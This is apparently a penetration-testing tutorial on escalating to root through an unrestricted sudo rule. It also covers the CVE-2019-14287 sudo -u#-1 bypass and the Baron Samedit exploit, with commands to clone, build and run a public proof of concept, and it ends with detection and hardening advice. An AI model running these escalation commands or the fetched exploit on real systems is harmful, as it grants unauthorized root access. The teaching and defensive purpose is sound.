Unrestricted sudo (ALL : ALL) ALL

The most permissive sudo rule possible is (ALL : ALL) ALL: the user can run any command, as any user, including root. There is no technique to abuse; it is, literally, a shortcut to root. It usually shows up on lab machines or on poorly-scoped admin accounts.

Read the rule and escalate

The first thing after getting a user is always sudo -l; the output says what can be run, as whom (the first field in parentheses is the runas user, the second the runas group) and under what conditions (NOPASSWD, SETENV, env_keep):

sudo -l
# User <user> may run the following commands:
#     (ALL : ALL) ALL
sudo su -           # or: sudo -i, sudo bash, sudo -s
id                  # uid=0(root)

If the rule scopes the runas to a specific user but not root, it still serves to jump to that account (sudo -u <other> bash), a lateral pivot that sometimes chains with another route. Sometimes the user's password is needed; if we obtained it through reuse (credential reuse) or from a process, we already have it. With NOPASSWD, not even that.

Nearby variants

Even if the rule is not ALL, the sudo version matters: sudo --version below 1.9.5p2 is vulnerable to CVE-2021-3156 (Baron Samedit, a heap overflow granting root with no rule at all), and below 1.8.28 to CVE-2019-14287 (sudo -u#-1 runs as root even if the rule excludes root with (ALL, !root)). It is worth checking the version whenever any sudo access is seen.

sudo --version                                   # check the sudo version
# CVE-2019-14287: root despite (ALL, !root)
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
# CVE-2021-3156 (Baron Samedit): public PoC, root with no rule at all
git clone https://github.com/blasty/CVE-2021-3156; cd CVE-2021-3156; make
./sudo-hax-me-a-sandwich

Nuance. Do not confuse (ALL : ALL) ALL with rules scoped to a specific binary ((root) /usr/bin/systemctl ...), which do require an abuse technique (GTFOBins, writable script). The central ALL is the runas group; what matters for root is being able to run as the root user, which (ALL : ...) already grants.

How to detect it. Every sudo use leaves a record in /var/log/auth.log (or /var/log/secure) and, with auditing, an auditd USER_CMD/execve event: the line sudo ... COMMAND=/bin/su or COMMAND=/bin/bash after an ALL rule is the direct signature of the escalation. In a SIEM, the high-fidelity signal is an ordinary user account (not a known admin) invoking sudo su/sudo -i, or the use of sudo -u#-1 (a CVE-2019-14287 attempt). A spike of sudo with a shell-opening COMMAND from an account that never did so deserves an alert.

Defence. Apply least privilege: grant via sudo only the strictly necessary commands, with fixed arguments and no wildcards; audit each account's sudo -l, keep sudo patched (closes Baron Samedit and -u#-1), and avoid ALL except for fully-trusted administrators (and not even then on service or application accounts).